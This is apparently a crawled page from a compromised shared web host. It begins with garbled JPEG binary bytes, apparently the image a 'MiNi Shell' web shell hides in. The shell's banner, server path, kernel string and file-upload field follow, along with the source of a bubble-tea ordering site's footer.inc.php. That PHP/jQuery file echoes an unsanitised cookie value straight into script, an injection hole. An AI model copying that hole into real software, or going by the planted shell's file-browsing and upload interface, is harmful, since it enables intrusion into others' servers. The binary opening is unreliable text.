JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_moge/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_moge/footer.inc.php

<?PHP
  /**
   * version 1.0.1 2022-01-03
   * version 1.0.3 2022-01-06 gotGOEinfo()函数,对没有获取到GEO信息的情况,不再弹出提示框,只是在console中记录。
   * version 1.0.5 2022-01-07 login 弹出页面的代码移到login.php文件。
   * version 1.0.7 2022-02-05 添加了id=ft_pickup_store属性。
   * verison 1.0.9 2022-02-21 增加语言选择相关选项js代码。
   * version 1.0.11 2022-03-06 存储语言信息在COOKIE中
   * version 1.0.13 2022-03-19 主菜单中previous.php, favorite.php, account.php三个页面需要login后才可以查看
   * version 1.0.15 2022-05-31 距离单位是m时,精确到个位数。

   **/ 
?>
  <nav id="bottom_nav" class="fixed-bottom mo_bg_dark d-block">
    <div class="container mo_show_border p-0">
      <!-- address and shopping bag start -->
      <div class="row mo_show_border foot justify-content-between flex-nowrap px-3 pt-1 mb-2">
        <div class="col-9 container mo_show_border" id="store_selector" aria-current="page" data-bs-toggle="modal" data-bs-target="#pickupStore">
            <div class="row mo_show_border mo_font_light" style="font-size:14px"><?PHP echo getValueByLang($static_txt["pickup_title"],"value");?></div>
            <div class="row p-0 mo_show_border">
              <div class="container d-flex justify-content-between" id="ft_pickup_store" style="font-size:14px;">
                <span class="mo_show_border p-0 mo_font_light me-2 text_pickupStore"> <?PHP echo getValueByLang($static_txt["btn_pick_store"],"value");?> </span>
                <span class="mo_show_border"><i class="bi bi-chevron-down mo_icon_sm mo_font_light"></i></span>
              </div>
            </div>
        </div>
        <div class="col-3 d-flex mo_show_border">
          <div class="vertical_middle mo_show_border position-relative" id="mo_shop_cart">
            <i class="bi bi-bag mo_icon_lg mo_font_light" ></i>
            <span class="position-absolute top-proper start-50 translate-middle badge rounded-pill bg-danger"><span class="moge_cart_qty"><?PHP echo isset($totalProduct)?$totalProduct:0;?></span>
              <span class="visually-hidden">unread messages</span>
            </span>
          </div>
        </div>
      </div>
      <!-- bottom nav end -->
      <!-- bottom mog_nav start -->
      <div class="row mo_show_border justify-content-center flex-nowrap p-0 m-0">
        <div class="mo_nav_1">
          <ul>
            <li class="mo_list">
              <a href="#">
                <span class="mo_icon">
                  <i class="bi bi-house mo_icon_md"></i>
                </span>
                <span class="mo_text">home</span>
              </a>
            </li>
            <li class="mo_list">
              <a href="#">
                <span class="mo_icon">
                  <i class="bi bi-journal-text mo_icon_md"></i>
                </span>
                <span class="mo_text">Previous</span>
              </a>
            </li>
            <li class="mo_list active">
              <a href="#">
                <span class="mo_icon">
                  <i class="bi bi-cup-straw mo_icon_md"></i>
                </span>
                <span class="mo_text">Menu</span>
              </a>
            </li>
            <!-- <li class="mo_list">
              <a href="#">
                <span class="mo_icon">
                  <i class="bi bi-gift mo_icon_md"></i>
                </span>
                <span class="mo_text">e-Gift</span>
              </a>
            </li> -->
            <li class="mo_list">
              <a href="#">
                <span class="mo_icon">
                  <i class="bi bi-heart mo_icon_md"></i>
                </span>
                <span class="mo_text">Favorite</span>
              </a>
            </li>
            <li class="mo_list" id="icon_account">
              <a href="#">
                <span class="mo_icon">
                  <i class="bi bi-person mo_icon_md"></i>
                </span>
                <span class="mo_text">Account</span>
              </a>
            </li>
            <div class="indicator"></div>
          </ul>
        </div>
      </div>
      <!-- bottom mog_nav end -->
    </div>
  </nav>

  <!-- login Modal start -->
  <div class="modal fade" id="logIN" data-bs-backdrop="static" tabindex="-1" aria-labelledby="logINLabel" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered">
      <div class="modal-content">
      </div>
    </div>
  </div>
  <!-- login Modal end -->

  <!-- order form Modal start -->
  <div class="modal fade" id="MyOrder" data-bs-backdrop="static" tabindex="-1" aria-labelledby="MyOrderLabel" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered modal-dialog-scrollable">
      <div class="modal-content">
      </div>
    </div>
  </div>
  <!-- order form Modal end -->

  <!-- pickup store Modal start -->
  <div class="modal fade" id="pickupStore" data-bs-backdrop="static" tabindex="-1" aria-labelledby="pickupStoreLabel" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered modal-dialog-scrollable">
      <div class="modal-content">
      </div>
    </div>
  </div>
  <!-- pickup store Modal end --> 

  <!-- Show QR code Modal start -->
  <div class="modal fade" id="myQRCode" tabindex="-1" aria-labelledby="myQRCodeLabel" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered modal-dialog-scrollable">
    <div class="modal-content d-flex justify-content-center align-items-center"><img class="col-8" src="./myQR.php"/>
    </div>
  </div>
  </div>
  <!-- Show QR code Modal end --> 

  <div id="flyItem" class="fly-item"><img src="./image/flying_cup.png"></div>
  <script src="./lib/js/mo_geo.js"></script>
  <script>
    let cur_lat = 0;
    let cur_lng = 0;
    $(function(){
      $("#lang").text("<?PHP 
                        $lang = isset($_COOKIE['LANG'])?$_COOKIE['LANG']:setDefaultLang();
//                        echo $lang;
                        echo (($lang=="en")?"中":"EN");
                        ?>");
      getCurrentPos(gotGOEinfo);
      $(".mo_list").on("mouseover",function(){
        $(".mo_nav_1").find(".active").removeClass("active");
        $(this).addClass("active");
      }).on("click",function(){
        $(".mo_nav_1").find(".active").removeClass("active");
        $(this).addClass("active");
        var load_page = ["home.php","previous.php","menu.php","favorite.php","account.php"];
        let page_index = $(this).index();
        switch(page_index){
          case 1:
          case 3:
          case 4:
            console.log(getCookie("TOKEN"));
            if(getCookie("TOKEN")==""){
              $("#top_r_area").find("#login_href").trigger("click",load_page[page_index]);
            }else{
              $("#mo_content").load("./"+load_page[page_index]);
            }
            break;
          default:
            $("#mo_content").load("./"+load_page[page_index]);
        }
      }); 

      $("#mo_shop_cart").on("click",function(){
        $("#mo_content").load("./cart.php");
      });

      checkCartItemQty();

      $("#store_selector").on("click",function(){
        getCurrentPos(choosePickupStore);
      });

      $("#top_r_area").find("#login_href").on("click",function(e,para){
        let next_page = (para!=undefined)?para:"";
        console.log(next_page);
        let cookie = document.cookie;
        console.log(cookie);

        if((next_page=="")||(getCookie("TOKEN")=="")){
          let load_page="./login.php"+((next_page!="")?("?next_page="+next_page):"");
          console.log("load_page="+load_page);
          $("#logIN").find(".modal-content").load(load_page);
        };
        
      });

      $("#lang").on("click",function(){
        if($(this).text()=="EN"){
          $(this).text("中");
          changeLangTo("en");
        }else{
          $(this).text("EN");
          changeLangTo("ch");
        }
      });

      <?PHP
        if(isset($_SESSION['ref'])){
          if(!($_SESSION["CLNT_LOGIN"])){
      ?>    
        $("#top_r_area").find("#login_href").trigger("click","account.php");
      <?PHP 
          }else{
      ?>
        $("#icon_account").trigger("click");
      <?PHP
          }
        } else{
      ?>   
      $("#mo_content").load("./menu.php");
      <?PHP 
        }
      ?>

    });

    function changeLangTo(lang){
      setCookie("LANG",lang,365);
      window.location.reload();
    }

    function changeLangTo_old(lang){
      reg = RegExp(/lang=/);

      if(reg.exec(self.location.href)){
        window.location.href = self.location.href.replace(/((\?lang=)|(\&lang=))(.*?)((\&)|$)/,"$1"+lang+"$5").replace(/#/g,"");
      }else{
        reg = RegExp(/\?/);
        window.location.href = self.location.href.replace(/#/g,"")+(reg.exec(self.location.href)?"&":"?")+"lang="+lang;
      }
    }

    function choosePickupStore(res){
      switch(res.code){
        case "200":
          cur_lat = res.pos.latitude;
          cur_lng = res.pos.longitude;
          $("#pickupStore").find(".modal-content").load("./pickup_store.php?lat="+cur_lat+"&lng="+cur_lng);
        break;
        default:
          $("#pickupStore").find(".modal-content").load("./pickup_store.php");
      }
    }

    function gotGOEinfo(result){
      switch(result.code){
        case "200":
          cur_lat = result.pos.latitude;
          cur_lng = result.pos.longitude;
          getClosestStore(cur_lat,cur_lng,setPickupStore);
        break;
        default:
          <?PHP 
            if(isset($_COOKIE["pickupSID"])){
          ?>
              let pickupStore = [];
              pickupStore.store_id = <?PHP echo $_COOKIE["pickupSID"];?>;
              setPickupStore(pickupStore);
          <?PHP
            }
          ?>
          console.log(result);
          console.log("Met unknown tech issue. Please try again later.");
      }
    }

    function getClosestStore(lat,lng,fn_callback){
      sendMsg("closestStore","lat="+lat+"&lng="+lng,fn_callback);
    }

    function setPickupStore(store){
      sendMsg("setPickupStore","sid="+store.store_id,showPickupStore);
    }

    function showPickupStore(store){
      let distance = "";
      distance = ((cur_lat==0)&&(cur_lng==0))?distance:(getDistance(cur_lat,cur_lng,parseFloat(store.lat),parseFloat(store.lng)));
      distance = (distance>=1000)?((distance/1000).toFixed(2)+"km"):((distance<1000)&&(distance>0)?(Math.round(distance)+"m"):"");
      $(".text_pickupStore").html(`<div class="d-flex flex-row justify-content-between"><div id="store_name">${store.storeName}</div><div id="pickup_dis">${distance}</div></div><div id="store_address">${store.address}</div>`);
      $("#btn_change_pkp").text("Change");
    }

  </script>
</body>
</html>

Creat By MiNi SheLL
Email: devilkiller@gmail.com